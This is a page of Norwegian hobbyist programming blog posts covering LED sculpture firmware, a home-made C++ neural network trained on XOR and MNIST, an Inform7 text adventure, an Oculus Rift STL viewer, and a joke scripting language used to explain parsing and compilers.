Programming

Home/Programming

August 2016

Constraints

By |August 19th, 2016|Art, Electronics, Programming|

Å pulse en LED er kanskje ikke så vanskelig, tenker du ?

Det tenkte jeg også, da jeg hoppet på elektronikk-/firmwarebiten på et kunstprosjekt før sommeren. De første man gjør, når man skal begynne å leke med mikrokontrollere er å handle en AVR-chip, eller en Arduino. Det andre man gjør, er å handle en lysdiode. Det tredje man gjør, er å koble ting sammen og sakse eksempelkode fra internett (slik ak man kan skryte på seg “virk”). Lysdioden blinker og man kan liste opp både “firmware” og “mikrokontrollere” på skill-lista si på LinkedIn.

La oss gjør det litt mer utfordrende, ved å innføre noe krav:

1. Strømkilde.

Dette skal inn i et sett av frittstående skulpturer. Elektronikken er innkapslet i kobber, med unntak av to små glassvindu, som har en diameter på 18mm. Ingen ledninger kan gå til skulpturen. Eksternt powersupply er ikke et alternativ. Induksjonslading er ikke et alternativ. Vi må bruke batterier, som enkelt kan tas ut for å lades.

Siden intensjonen er at dette skal stå på en utstilling, så må vi også ha maksimal batterilevetid. Siden vi skal bruke hvite dioder, så trenger vi 3-3.2V. En gjennomsnittlig lysdiode trekker kanskje 20mA. Batterier, elektronikk, mekanikk og batteriklemmer må passe i en sylinder som er 11 cm lang og har en intern diameter på 16mm. Vi kunne benyttet to enkle AA-celler, men dette har vi ikke plass til. Vi kunne valgt NiMH-batterier med liten formfaktor, men det hadde krevet en egen ladekrets. Li-Ion er et nærliggende alternativ, siden man får 3.7V-celler i liten nok diameter og med kort nok lengde. Disse finnes det også standardladere for. De har også en ganske flat spenningskurve. Fulladet har cellen en spenning på 4.2V og når spenningen begynner å synke under 2,5-3V under last, så er batteriet praktisk talt tomt. (Vi kunne benyttet et tradisjonelt AA-batteri, sammen med en buck/boost-converter for å booste spenninga fra 1,5 til en stabil spenning på 3V, men denne vil også dra strøm, samt at vi vil trenge ytterligere komponenter for å kunne slå den av og på.)

Vi har nå adressert batterikravet, men vi har innført et nytt krav, som bestiller ikke er klar over. Hvis vi lader batteriet helt ut, så vil vi ødelegge det, slik at det i beste fall ikke lar seg lade opp igjen, eller i verste fall, blir utrygt å bruke. Vi må monitorere batterispenninga, og så la kretsen gå i dvale når spenninga blir for lav. Vi må også ta høyde for at kretsen vil dra noe strøm i dvaletilstand, og at batteriene ikke nødvendigvis vil lades umiddelbart.

2. Uttrykk.

En LED har ganske smal vinkel, og i dette tilfellet, så må lysdioden stå svært nære glassvinduet, og vil se ut som en punktkilde hvis vi ikke gjør noe. Ønsket er at vi skal ha en homogen, men pulserende lysflate. For å få til dette, så må vi lage en diffuser, som bygger enda litt mer i lengderetningen.

Vi kontrollerer lysene med PWM, men en lineær endring i duty cycle resulterer ikke nødvendigvis i en subjektivt lineær effekt. Øyet har i likhet med øret ikke en lineær respons.

3. Betjening

Lysene skal være lett å slå av og på, men vi kan ikke ha en ekstern / dedikert bryter for å få til dette. Assemblyet, som skal inn i skulpturen må bygges slik at man ved å vri på et element i skulpturen kan slå lyset av og på. Dette stiller krav til den mekaniske utformingen.

4. Testing

(Nobrainer, right… ?)

Siden dette faktisk skal virke over tid, så må strømforbruket under last faktisk måles. Kalkulator er vel og bra, men det slår ikke et amperemeter. At kretsen faktisk går i dvale når batterispenninga går under definert terskelverdi er også kritisk. Det må m.a.o. testes.

5. Dokumentasjon

Det er ikke gitt at den jevne gallerist er overvettes bekymret for slikt som f.eks. batteripolaritet, eller det faktum  at det ikke var plass til noen form for beskyttelse mot å sette inn batteriet feil vei. Det skader aldri å levere fra seg et par linjer med tekst, samt bilde av korrekt innføring av batteri, samt bilder av punkter på skulpturene, som man må vri på for å slå effektene av og på.

Jeg endte opp med et design, som minner ganske mye om det man kan forvente å finne inni en lommelykt. For å spare kabling, så bruker jeg godset som jord. Dette er iofs en nobrainer i andre sammenhenger, men man ender veldig raskt opp med alt for mye kabling for “-” hvis man ikke tenker seg om :)

Firmware er i praksis looping gjennom en generert tabell med verdier for duty cycle. Denne tabellen kan tolkes som samples fra en kurve. Den monitorerer også VCC og sammenligner med den interne 1.1V spenningsreferansen, slik at den kan slå seg helt av hvis batterispenninga synker til et nivå, der den må lades. Jeg brukte high brightness leds, som skulle tilsi et strømforbruk på 40mA. Ved å kontrollere dette via PWM, så fikk vi ønsket effekt gjennom diffuseren med et strømforbruk på 7-8mA. I hibernate-modus, så drar kontrolleren 0,95mA.

Med en batterikapasitet på 1600mAh, så tilsier dette en levetid på 200 timer. Siden skulpturene kun skal være aktive i 6-8 timer om dagen, så kan man forvente at de maksimalt kan kjøres i 25 dager før de trenger å lades. Det hører iofs med til historien at disse batteriene eer kjøpt i Kina, så vi utelukker ikke overraskelser. Hvilket leder oss til neste punkt, som er:

5. Redundans

Trust no one. Spesielt ikke leverandører fra Kina. Ting går ikke alltids som planlagt ihht spek. Vi har derfor bunkret opp med ekstra av det det meste som kan ryke. D.v.s. batterier – i fall kvalitetskontrolløren mot formodning skulle ha sett en annen vei, når noen plukket akkurat dette batteriet av samlebåndet. Noen ekstra mikrokontrollere er også programmert  – i fall noen ikke skulle klare å holde blårøyken sin inne i DIP-kapselen.

Bildet over viser 3 moduler før de wrappes i kapton. Hver modul, skal også ha en slavemodul (ref kablingen som går ut av dem).

Skulpturene kan jeg nesten ikke vise bilder av enda, siden de a) ikke er mine, og b) skal inn til juryering snart. Jeg lover å komme tilbake med en oppdatering når jeg får offisielle bilder som jeg kan bruke.

June 2016

Making a brain – for recreational purposes. Step 3 (XP+1)

By |June 20th, 2016|Machine Learning, Programming|

Etter å ha brynet meg på egen implementasjon av neurale nett, effektiv backprop, softmax, gradienter, cross-entropy og fandens oldemor i C++ i noen uker, så bestemte jeg meg for å igjen slippe Tensorflow ut av Ubuntu-buret sitt. Semantikken er relativt tight, så jeg håpet å få litt mer ut av det, nå som maskinlæringsvokabularet mitt har modnet litt – etter uker med “selvplaging”. Jeg prøvekjørte det litt mer avanserte MNIST-eksempelet i Tensorflow, der det benyttes convolutional nettverk. Dette kjørte i kanskje 10 minutter, før det resulterte i 99.26% treffsikkerhet ved klassifikasjon av siffer i testsettet (kun CPU).

Jeg sitter nå igjen med en mulighetsfølelse, som jeg kun har opplevd ved…

  • første eksponering for programmering i 1983,
  • første eksponering for internett i 1992
  • første eksponering for 3D-printere i 2011.

Jeg er faktisk litt satt ut. Ikke nødvendigvis av teorien, selv om backpropagation og gradient descent er konseptuelt vakkert. Ikke av alfabetsuppa, selv om den har gitt meg hodepine, samt resultert i ganske kraftig språkbruk her i kjelleren.

Man aner konturene av noe som er ekstremt kraftig. Ekstremt elegant. Og som i tillegg skalerer.

Min generasjon hadde Meccano og Lego. En generasjon senere, så er det innenfor mulighetsrommet til et gjennomsnittlig ressurssterkt barn å nå kunne komponere kognitive funksjoner til sin egen autonome 3D-printede dronesverm. Hvor kult er ikke det ?

Making a brain – for recreational purposes. Step 2 (Level up!)

By |June 10th, 2016|Machine Learning, Programming|

Makan til alfabetsuppe skal man lete lenge etter. Matematikere burde sporenstreks ta seg et kurs i hvordan man kommuniserer enkle konsepter til andre mennesker. Deler av maskinlæringslitteraturen er imho direkte menneskefiendtlig.

Jeg er nå nesten helt sikker på at jeg har implementert Stochastic Gradient Descent med Nesterov momentum og L2-regularization – riktig. Jeg er nesten også helt sikker på at jeg normaliserer input, bruker tanh-aktiveringsfunksjon og softmax på output – riktig. Beviset ligger likevel, som kjent, i puddingen. Evne til overfitting og korrekt klassifisering av et treningssett er en indikasjon på en viss grad av virk. Og for å kunne sjekke om man har en rimelig grad av virk, så trenger man da det som på fagspråket heter “data” :)

Et glitrende datasett, som det er moro å bryne seg på er MNIST.

MNIST er en database over håndskrevne siffer. Den består av et treningssett med 60000 siffer og et testsett på 10000 siffer. Hvert siffer er et bitmap på 28×28 pixels. Gitt at man ikke har featuredetektorer i forkant, så vil et enkelt nett for å lære seg å klassifisere disse, ha 784 inputnoder, et eller flere skjulte lag med noder og 10 noder i outputlaget. Ved å benytte softmax-algoritmen, så tvinger man output inn i en sannsynlighetsfordeling, hvilket er glitrende når man skal bygge et et neuralt nett, som skal klassifisere noe.

Utfordringen er å ikke trene nettet slik at det kun husker treningssettet , men på en slik måte at det er i stand til å lære å ekstrahere features fra treningsettet.

Det sparker rimelig greit unna, selv om koden sannsynligvis ikke er helt optimal mht hastighet (Jeg fokuserte i første omgang på egenopplæring + korrekt oppførsel + kode som ikke resulterte i hjerneblødning ved forsøk på å lese den dagen etter). På en relativt gammel i7, så klarer et {I:784, H:128, O:10}-nett typisk å lære seg å klassifisere 2000 siffer på 10-12 sekunder. Anser det som “innafor”, selv om det nepper er i TensorFlow-divisjonen mht ytelse.

Backpropagation er i essens et sett av matrise-/vektoroperasjoner og treningen er et høyst dataparallelliserbart problem. Hvorfor nøye seg med kun en kjerne ? Neste trinn blir derfor å gå litt mer i dybden på C++AMP for å kunne trene større nett på GPU.

Det klør også litt mht å skrape i overflata på andre typer av nettverk, som eksempelvis RNN for tidsserieprediksjon, convolutional nettverk mtp bildegjenkjenning, deep belief-nettverk, samt visualisering av hva som skjer under trening.

PS. Jeg vet det finnes glitrende rammeverk der ute, men man lærer mye mer av å implementere ting fra first principles.

December 2015

Making a brain – for recreational purposes. Step 1

By |December 23rd, 2015|Machine Learning, Programming|

Neurale nett har blitt poppis igjen. Sist jeg lekte med slike, så forsøkte jeg å trene opp nett, implementert i Turbo C (2 disketter…)  på en 12 MHz IBM AT. Det var ikke spesielt moro. Sånn i etterpåklokskapens lys, så er det vel heller ikke helt utelukket at jeg kan ha blingsa litt på på et par av formlene.

Jeg nøyde meg derfor med å lese om maskinlæring og AI istedet. Jeg leste Neuromancer, Burning Chrome og Mona Lisa Overdrive med det ene øyet og alt for vanskelige bøker og papers med det andre. Jeg skal ærlig innrømme at jeg kanskje fikk mest ut av William Gibson sine romaner på den tiden, men det var likevel moro å skrape litt i overflata på algoritmene, slik at man kunne bli ufordragelig i baren i Bodegaen, når folk begynte å bli filosofiske, etter et par øl for mye.

Det var på starten av 90-tallet et ganske markant gap mellom science fiction-AI og AI i den virkelige verden. Selv om neurale nett var den nærmeste analogen man hadde til neuroner og synapser i biologiske systemer, så endte det gjerne opp i rene teoretiske øvelser. Vi manglet nok “oomph” under panseret på datamaskinene våre, til at vi kunne trene opp litt større nett, som gjorde særlig spennende saker . (Trening av nett er tungt, men kjøring av et ferdig trent nett, koker ned til et lite antall matriseoperasjoner, som man kan kjøre på en liten mikrokontroller med flyttallsstøtte, uten videre problem).

I dag, så er det litt anderledes. Har du handlet deg en datamaskin for å kunne “surfe på nett”, “bruke nettbank” eller “levere lottokupong”, så har du etter all sannsynlighet nok prosesseringskraft tilgjengelig for å kunne leke deg med enkel AI uten at maskina blir svett. Gapet er i ferd med å lukkes og jeg har en liten følelse av at det nå, gitt ressursene til eksempelvis Google, nå begynner å bli “sping tinglingly”smalt. Litt usikker på om våre venner, politikerne, er helt forberedt på scenariene vi nå vil få se, der den selvkjørende bilen din, eksempelvis velger å drepe deg, ved å kjøre i grøfta, fremfor å kjøre ned fotgjengeren i gangfeltet, eller når den første kunstige intelligensen blir installert i droner for å ta kill-beslutninger, slik at ikke soldatene skal få PTSD etter litt for mange timer foran skjermen.

Det eneste en AI forsøker å gjøre er å minimalisere kostfunksjonen sin – en funksjon spesifisert av mennesker – forhåpentligvis korrekt, og forhåpentligvis en funksjon, som ikke har utilsiktede sideeffekter.

Genetiske algoritmer, fuzzy logic og neurale nett var all the rage tidlig på 90-tallet, men så forsvant de under radaren min. Inntil i år. Fire ting skjedde (omtrent i denne rekkefølgen) :

  1. En kompis (Hei, Ståle !) sendte meg en link til “The Unreasonable Effectiveness of Recurrent Neural Networks”.
  2. “Deep Dream”-videoer og bilder begynte å poppe opp her og der i newsfeeden min.
  3. Jeg traff en freelance-koder i Roma, som jobbet med AI. Jeg beynttet anledningen til å spørre litt om det jeg trodde jeg hadde lært om NN på 90-tallet fremdeles var good shit.
  4. Google opensourcet TensorFlow.

Inspired, I became…

Det var på tide med et lite litteraturstudie igjen. Dette er vel strengt tatt pensum for kidsa på Gløshaugen, men siden jeg er mer i “halvstudert røver” / “old fart”-kategorien, så må jeg stadig vekk gjøre slike øvelser for å henge med.

Valget sto mellom å bruke tid på tensorflow, eller forsøke å plugge kunnskapshullene som oppsto når jeg prioriterte William Gibson sine romaner fremfor å forsøke forstå matematikken bak minimalisering av kost-funksjonen i et neuralt nett via backpropagation og deltaregelen.

Siden jeg er selværklært maker (begynner så smått å bli et litt utslitt begrep, men), så ønsket jeg også en implementasjon, som var såpass lettbeint at den kunne trenes på en PC (eks med styrings-/sensortelemetri-data fra en liten robot) og så lett kunne kjøre det trente nettet på svært billig embedded hardware.

Jeg fyrte så opp C++-kompilatoren og skred til verket. Første forsøk bar galt av sted i.o.m. at jeg lot OO-nissen i meg få slippe til med helt feil abstraksjoner (Jeg er et barn av OO-generasjonen, men kjenner litt på en dragning mot funksjonell programmering). Jeg modellerte min forståelse av et NN, Dvs “nettverk”, “lag”, “inputlag”, “skjult lag”, “outputlag” etc. Koden eksploderte og ting ble ikke spesielt pent.

Det gikk 2-3 kvelder før jeg innså at de eneste abstraksjonene jeg trengte var “nettverk”, “treningssett”, “matrise” og “vektor”.  Dette ga en 1:1 mapping med begrepsverdenen i litteraturen og algoritmene. Koden ble da tight. Vi snakker 3-400 linjer (inludert tracing / graphvizoutput) for implementasjon av klasser som lar deg spesifisere nettverk med vilkårlig antall lag og vilkårlig antall noder i hvert lag. Eksempelvis så vil følgende deklarasjon resultere i et nettverk med 3 lag, der man har 5 inputnoder, 5 skjulte noder og ett outputnode:

   Network n({5, 5, 1});

Ønsker man en visuell representasjon av nettverket, så kan man generere en graf-representasjon for GraphViz:

   n.ExportAsDigraph("d:\\MyNetwork.gv");

Formatet for treningssettene er en liste med kommaseparerte inputverdier -> liste med kommaseparerte output. Eksempelvis, så vil treningssettet for sannhetstabellen for XOR, se slik ut:

   # XOR
   1,1 -> 0
   1,0 -> 1
   0,1 -> 1
   0,0 -> 0

Kode for trening av nettverket vil kunne se noenlunde slik ut:

   TrainingSet set("MySet.training");
   int iter = n.Train(set, learningrate, maxError, maxIterations);

Jeg brukte enkle nettverk for å debugge funksjonene for backpropagation-algoritmen. Treningssettene under debuggingsesjoner var typisk sannhetstabeller for AND, OR og XOR.

Men,…

En ting er enkle mappinger mellom input og output. Det som ga meg TOTAL BAKOVERSVEIS var når jeg forsøkte meg på et treningssett, som i praksis krevde at nettet var translasjonsinvariant. Jeg bestemte meg for å sjekke om koden ville klare å identifisere bitpar i et ringbuffer. Eksempelvis klassifisere 11000, 01100, 00110, 00011 og 10001, som samme greie, men forkaste alle andre bitmønster. Jeg bestemte meg for å teste med et 5:5:1 nett:

network2

Og dette er trace-output fra nettet…

1 1 0 0 0 -> 0.98942
0 1 1 0 0 -> 0.955088
0 0 1 1 0 -> 0.994225
0 0 0 1 1 -> 0.956921
1 0 0 0 1 -> 0.946448
0 0 0 0 0 -> 8.01082e-007
1 1 1 0 0 -> 0.000139072
0 1 1 1 0 -> 0.000123884
0 0 1 1 1 -> 0.00241042
1 0 0 1 1 -> 0.000115517
1 1 0 0 1 -> 0.00316957
0 0 0 0 0 -> 8.01082e-007
1 0 0 0 0 -> 0.0152408
0 1 0 0 0 -> 0.000225992
0 0 1 0 0 -> 0.000161386
0 0 0 1 0 -> 0.0165893
0 0 0 0 1 -> 0.0240119
1 1 1 1 1 -> 0.00393661
1 1 1 1 0 -> 0.000946888
0 1 1 1 1 -> 4.03198e-005
1 0 1 1 1 -> 0.00302191
1 1 0 1 1 -> 0.00172643
1 1 1 0 1 -> 5.37666e-005
1 1 1 1 0 -> 0.000946888
Training result : PASSED in 227 iterations.
Layering structure : 5 5 1

matrix[i, j]
-7.381501e-001 4.910103e-001 2.348347e+000 5.589301e-001 1.393025e-001
6.232929e+000 -3.010492e+000 -3.575540e+000 6.308999e+000 -2.263603e+000
7.602698e+000 -4.410647e+000 -4.660858e+000 7.579302e+000 -3.254401e+000
2.161218e-001 5.300884e+000 -3.041684e-001 -8.590031e+000 2.228310e+000
-8.501116e+000 2.924318e-002 4.881199e+000 5.905061e-002 2.334400e+000

matrix[k, l]
3.230551e+000 8.396336e+000 1.152779e+001 1.566610e+001 1.500300e+001

Tankene går til åpningsstrofene i “For What it’s worth” (Buffalo Springfield). “There’s something happening here. What it is ain’t exactly clear…”

Next up: “Andre greier jeg ikke lærte på skolen . D.v.s RNN, Markovmodeller & annen crazy shit vi trenger å implementere Skynet”

May 2015

I ain’t missin’ not a single thing.

By |May 25th, 2015|Programming|

Etter å ha blåst gjennom “Ready Player One” på tre dager, så er jeg nå offisielt inspirert. Jeg ble såpass gira av denne boka at jeg måtte stoppe halvveis – for å lære meg literate programming. Jeg er ikke helt ferdig ennå, men jeg har toolkjeden på plass for å generere Z-/Glulx-kode, samt javascript-interpreter for dette.

Den selvpålagte svenneprøven min kommer til å bli et text-adventure. Dette er en sjanger, som har forsvunnet totalt fra gaming mainstream, men som jeg savner intenst. Infocom leverte i sin tid det ypperste man kunne slå kloa i av interaktiv fiksjon. Hvem husker ikke klassikere som “The Hitchhikers Guide to the Galaxy”, “Leather Goddess of Phobos” og “Trinity” ?

En observasjon, som jeg har gjort meg er følgende:

Når hjernen er ferdigbøyd og ferdigbogglet, så er det svært enkelt å produsere innhold, men det er lett å bli distrahert. Jeg satt med ZZ-Top på øret mens jeg jobbet med teksten og begynte å lure på hvor vanskelig det ville være å lage et kompilerbart program av et av versene. Denne øvelsen tok under 5 minutter. Prepare to be boggled ;)

Jeg tok utgangspunkt i et vers fra “Sharp Dressed Man”. Dette går som følger:

Gold watch, diamond ring,
I ain’t missin’ not a single thing.
And cuff links, stick pin,
When I step out I’m gonna do you in

Den korresponderene Inform7-koden er:

Lee Beard Frank's room is a room.
The gold watch, The diamond ring, some cuff links and a stick pin are things.
Instead of examining the player:
 say "A sharp dressed man".
Before stepping out:
 Now the player has the gold watch;
 Now the player has the diamond ring;
 Now the player has some cuff links;
 Now the player has a stick pin;
 
After stepping out:
 say "I'm going to do you in" instead.
 
Check not missing a single thing:
 say "You have [a list of things carried by the player]".
understand "step out" as stepping out.
stepping out is an action applying to nothing.
understand "I ain't missin' not a single thing" as not missing a single thing.
not missing a single thing is an action applying to nothing.

Jeg har kompilert dette til Z-kode, som du kan teste her (Kjør følgende kommandoer i sekvens: INVENTORY, LOOK AT ME, STEP OUT, INVENTORY, I AIN’T MISSIN’ NOT A SINGLE THING)

(Jeg hadde tidligere dette tilgjengelig som en iframe i denne posten, men denne var noe “fokushungrig”, så jeg fjernet den. Hvis noen vil prøve, så er det bare å følge denne linken: http://www.darkgreyindustries.com/SharpDressedMan/play.html istedet.)

September 2014

Rift DK2 SDK – leke litt :)

By |September 22nd, 2014|Programming|

Det tok faktisk under en halv dag å hacke på plass en STL-viewer for Oculus Rift. Dessverre klarte jeg ikke å motstå fristelsen til å implementere vieweren i – wait for it – STL (*) !

Puddingene der ute går sikkert for Unity eller Unreal-lisenser, men ekte programmerere benytter som kjent C++ – elleve – for å implementere sin egen virtuelle lekegrind.

Bildet over viser deler av ansiktet til InMoov. Fila er lastet ned fra Thingiverse og lest av Rift-STL-toolet mitt.

Helt villt å bevege seg tett inntil fjeset i VR og så reise seg opp, og bøye seg over kanten, for å se hvordan det ser ut bak.

Både binær- og ASCII-versjonene av STL-formatet er rimelig enkle. Fila inneholder en eller flere solids, som beskrives av et sett triangler via vertex-lister og tilhørende normalvektorer. Jeg har skrevet en liten parser som leser STL-fila som en stream og dytter data direkte inn i vertexbufferet som benyttes for rendering. En vertex består av en x,y,z-vektor, en r,g,b,a-fargekomponent, en o,u-mapindex (for textures), samt en x,y,z normalvektor.

Etter å ha bufret en vertex, så får du en indeks tilbake. Denne benytter du for å komponere triangler. Verre er det ikke. (ps. Ser ting litt hyperspace-aktig ut, så har du høyst sannsynlig blingsa på normalvektoren i forhold til rekkefølgen du dyttet data inn i vertexbufferet).

Jeg skal ærlig innrømme at jeg klæbba inn denne funksjonaliteten i demokode som distribueres med SDKen. Man må være smått syk på sinnet for å starte fra scratch, når det er enklere å fjerne stygge ting fra noe eksisterende. SDK-samplene er faktisk ganske ok, men namespaces og klassenavn er som man kan forvente. Det er helt åpenbart at spillprogrammerere har vært på ferde her.

Et par tips:

  1. Installer 0.4.2 betaversjonen av runtime hvis du har en eldre versjon. Denne løste en del problemer for min del og Oculusen fremstår nå som en god del mer stabil.
  2. Installer den siste DirectX-versjonen. Binæren du kompilerer har en avhengighet til d3dcompiler_47.dll (antar det er vertex/pixelshaderne som trenger denne). Sørg for å ha denne i path eller der du kompilerer binæren din.
  3. Smeller det under installasjonen, så avinstaller msvc2010 runtime-komponenter fra systemet. DirectX-setupen vil sanns feile hvis du har msvc2010 SP1 runtime installert
  4. Ta utgangspunkt i OculusRoomTiny-eksempelet. Dette er rimelig overkommelig.
  5. Utilityklassene i eksemplene klarer ikke å holde flere vertices enn du klarer å indeksere med 16 bit. Usikker på om dette er en kunstig begrensning eller ikke.
  6. Ikke få panikk om du støter på 4-dimensjonale vektorer her og der. Quaternions er nyttige beist.
*) STL er et populært filformat som benyttes for utveksling av filer for 3D-printing og STL er Standard Template Library i C++.

April 2014

The Anarchist Code Book (del 2 – syntaks, semantikk og pragmatikk)

By |April 17th, 2014|Programming|

Et programmeringsspråk lar forfatteren uttrykke seg innenfor utvetydige syntaktiske og grammatikalske rammer. Semantiske regler gir mening til tekstens stukturelle elementer. Gitt syntaks, grammatikk og semantikk, så kan språket utvetydig tolkes eller oversettes til et annet språk. Dette er gyldig for alle språk – også tullespråk.

Går du svanger meg et språk, men er litt usikker på termin, så kan du enten lese 3000 sider kompilatorteknikk, eller bruke avsnittene og eksempelkoden under som utgangspunkt. Jeg anbefaler sterkt å benytte en eksisterende parser-generator (Coco/R, ANTLR, GNU Bison el.l.) for å definere syntaks og grammatikk-regler, men du må nok regne med å svømme rimelig alene m.h.t. resten av punktene. (Jeg valgte å bruke Bison, fordi det er hønngammalt – som meg)

1. Syntaks

Syntaksen definerer språkets vokabular. Hvilke ord kan man bruke for å uttrykke seg i språket ? Ord kan være tall, nøkkelord, navn etc.

En scanner leser kildekoden tegn for tegn og forsøker å matche tekststrømmen mot et sett kjente mønster. Hvis scanneren drar kjensel på et gyldig ord, så returneres dette til parseren for å se om det passer inn i de grammatikalske reglene.

Scanning og parsing er en form for mønstergjenkjenning / klassifisering. En parser kan klassifisere et tekstfragment som om det er produsert av de grammatikalske reglene i språket – eller ikke.

Forskjellige parser-generatorer kan ha litt forskjellig syntaks for å definere lexer- og parser-regler, men er du noenlunde dus med regulære uttrykk og BNF, så kommer du rimelig kjapt i gang.

2. Semantikk

Når parseren klarer å matche tegn- og ord-sekvenser som kommer fra scanneren til en grammatikalsk regel, så vet vi lite annet enn at teksten er produsert i henhold til kjente grammatikalske regler. Gitt eksempelfragmentet “int a = 2 * x;”, så vil de fleste lese dette som “Deklarer en variabel a av type int og initialiser denne til to ganger x”. Dette vet parseren absolutt ingenting om – enda.

Parser-generatorer lar deg spesifisere semantiske handlinger som kan knyttes til de grammatikalske reglene. Det er nå språket får mening. En semantisk handling er er gjerne et kort kodefragment som utfører en handling, eller eksempelvis bygger et node i et abstrakt syntaks-tre.

3. Pragmatikk

Dette punktet omfatter, eh – “resten”. D.v.s. implementasjonen av alt du ikke får mer eller mindre gratis av parser-generatoren din. Har parseren din funnet ut at programmet er et gyldig program, (og du har instruert den om det) så har den også bygget opp et syntaks-tre for deg. Dette er et av flere mulige mellomformat som kan være nyttige, litt avhengig av veien videre. Du kan eksempelvis tolke ASTen direkte, oversette til din egen lille virtuelle maskin (som du også må implementere), eller en eksisterende målplattform.

En AST lar seg rimelig enkelt tolke programmet på dette stadiet. Skal du oversette til et annet språk, så må du være forberedt på litt mer hoop jumping, håndsøm og behov for enlightenment.

Har språket ditt variable, så vil du trenge en symboltabell. Når det deklarereres en variabel i språket, så vil den få et innslag i symboltabellen. Når variabelen får en verdi, så holdes denne verdien i symboltabellen. Når variabelen referes, så hentes verdien herfra. Tabellen kan også inneholde metainformasjon, som eksempelvis typeinformasjon.

Uansett hvilket høynivå programmeringsspråk du liker å like, så vil absolutt alle abstraksjoner du er vant til, elegant skrelles bort under oversettelse til noe mer metall-nært. Den eneste abstraksjonen som overlever er en du sannsynligvis ikke liker å like. Dette er “prosedyre-abstraksjonen”. En prosedyre/funksjon er som kjent ikke noe annet enn programkode du kan overføre parametre til og så starte eksekveringen av. For å kunne kalle en funksjon, så må du overføre parametre til den. Dette gjøres ved å dytte argumentene på en stack. Hvordan du velger å gjøre dette kalles gjerne for kallkonvensjon, og er noe du sannsynligvis kjenner igjen fra C.

Siden du i funksjonen kanskje deklarerer lokale variable med potensielt samme navn som i den kallende koden, så må du også ha et forhold til scopes. Et scope har sin egen symboltabell, og evt tilhørende metainformasjon. Informasjonen kalles gjerne for et activation record, eller en stack frame. Kaller du en funksjon, så dytter du det gjeldende activation record på stacken, oppretter et nytt og definerer og initialiserer de overførte argumentene som lokale variable i dette. Når prosedyren/funksjonen returneres, så popper du gjeldende activation record fra stacken. Easy.

Er du ungsau, så liker du sannsynligvis dynamiske språk, der du kan beregne sinus til en streng uten å få feil før applikasjonen din har vært i drift en tid. Tilhører du den eldre garde, så liker du sannsynligvis statisk typede språk, der kompilatoren sørger for at du ikke får telefon klokka 0300 på natta fordi applikasjonen din har eksplodert. La kompilatoren gjøre jobben for deg, så kan du drite i 95% av testene dine ;) Typesjekking kan du gjøre ganske enkelt når du oppretter noder i ASTen din.

Alle slike eksempler, også dette, ender gjerne i noe som er et dysfunksjonelt subsett av C. For å gjøre det litt mindre traurig, så har jeg derfor gått motsatte vei av Haskell og gjort syntaksen mer ordrik enn det er behov for.

Enter…

Scripture 1.0

Scripture er et tullespråk, implementert som en repetisjonsøvelse for egen del, men det virker – sort of.

Variable og typesystem

Syntaksen er ganske enkel. Språket har tre typer; “numeral”, “text” og “eternal void”. Følgende scripture-kode deklarerer tre variable og initialiserer dem.

numeral one is now 2;
numeral two is now 1;
text three is now "three";

Den eksplisitte initialiseringen er frivillig, men følger samme syntaks som tilordning for å holde det rimelig oversiktlig. Eksempelsyntaks for å bytte om innholdet i to variable med hjelp av en hjelpevariabel .

numeral three;
three is now one;
one is now two;
two is now three;

Argumenter og funksjonskall

Et script vil starte eksekveringen fra funksjonen du har valgt å kalle “create”. Denne kan ha et vilkårlig antall argumenter som hentes fra kommandolinja, men må returnere type “numeral”. Forsøk på å returnere annet vil resultere i en “No such operating system – yet…”-feil. Eksempel på et enkelt script som tar to argumenter fra kommandolinja og skriver dem ut:

numeral create with text praise and also numeral magic
Praise the lord!
    let praise and " " and magic be written;
Hallelujah!

Output:

$./scripture hello.scripture Dude 42
Dude 42

Uttrykk

Scripture støtter selvfølgelig matematiske uttrykk. De grunnleggende aritmetiske operasjonene selvforklarende og heter:

  1. <expr> “without” <expr>
  2. <expr> “and” <expr>
  3. <expr> “added” <expr> “times”
  4. <expr> “subtracted” <expr> “times”
  5. “-” <expr>

Alle (utenom “-“) er venstreassosiative og presedensen er gitt av rekkefølgen over.

numeral create with
Praise the lord!
    numeral a is now 10;
    numeral b is now 1;
    numeral c is now 42;
    numeral d is now 666;
    let (a and 33) without b be written;
    let d added 2 times and 5 be written;
    let d subtracted 10 times be written;
Hallelujah!

Output:

$./scripture expressions.scripture
42
1337
66.6

Relasjonsoperatorer

Scripture definerer følgende relasjonsoperatorer. Disse er selvforklarende. (Scripture har et litt simplistisk forhold til operatorer. Logiske operatorer (Hmm, disse har jeg glemt…), relasjonsoperatorer og matematiske operatorer behandles rimelig likt (pga forfatterens latskap & bloggspreng))

  • “is the equal of”
  • “is a different beast than”
  • “is superior to or the equal of”
  • “is inferior to or the equal of”
  • “is inferior to”
  • “is superior to”

Loops

Looping i Scripture gjøres med “as long as”. Denne tar et uttrykk som argument og vil iterere over kodeblokka mellom “Praise the Lord!” og “Hallelujah!” så lenge uttrykket ikke er lenger unna false enn double precision tillater (You may be in for a surprise…)

numeral create with numeral limit
Praise the lord!
    numeral counter;
    as long as counter is inferior to limit
    Praise the lord!
        let counter be written;
        counter is now counter and 1;
    Hallelujah!
Hallelujah!

Output:

$./scripture loop.scripture 5
0
1
2
3
4

Kontrollstrukturer

I et forsøk på å oppnå status som Turing complete, så har Scripture implementert sin variant av “if”. Syntaksen er “given that” <expression> “…but…but… what if… ?”

numeral create with numeral one
Praise the lord!
    given that one is the equal of 1
    Praise the lord!
      let &quot;One !&quot; be written;
    Hallelujah!
    ...but, but... what if... ?
    Praise the lord!
        let &quot;Not one !&quot; be written;
    Hallelujah!
Hallelujah!

Output:

$./scripture given.scripture 2
Not one !

Funksjonskall

I eksempelet under, så har vi tre funksjoner. “create” er entrypunkt og forventer ett argument.

{{ This is a method that prints the argument times 5 }}
eternal void Scribe with numeral magic
Praise the lord!
    let &quot;Scribe:&quot; and magic added 5 times be written;
Hallelujah!

{{ This is a method that calls scribe with argument2 if  the argument1 is equal to 2 }}
{{ It then returns the sum of the arguments to caller }}
numeral Apostle with numeral number1 and also numeral number2
Praise the lord!
    given that number1 is the equal of 2
    Praise the lord!
        call upon Scribe, please accept number2 as an offering;
    Hallelujah!
    return number1 and number2;
Hallelujah!

{{ Entry point. Loops form 0 to the argument value and calls apostle with each value and 23 as arguments. }}
numeral create with numeral bound
Praise the lord!
    numeral iterator is now 0;
    as long as iterator is inferior to bound
    Praise the lord!
        let &quot;Return value: &quot; and call upon Apostle, please accept iterator and also 23 as an offering be written;
        iterator is now iterator and 1;
    Hallelujah!

   let &quot;DUDE !&quot; be written;
Hallelujah!

Output:

$./scripture functions.scripture 5
Return value: 23
Return value: 24
Scribe:115
Return value: 25
Return value: 26
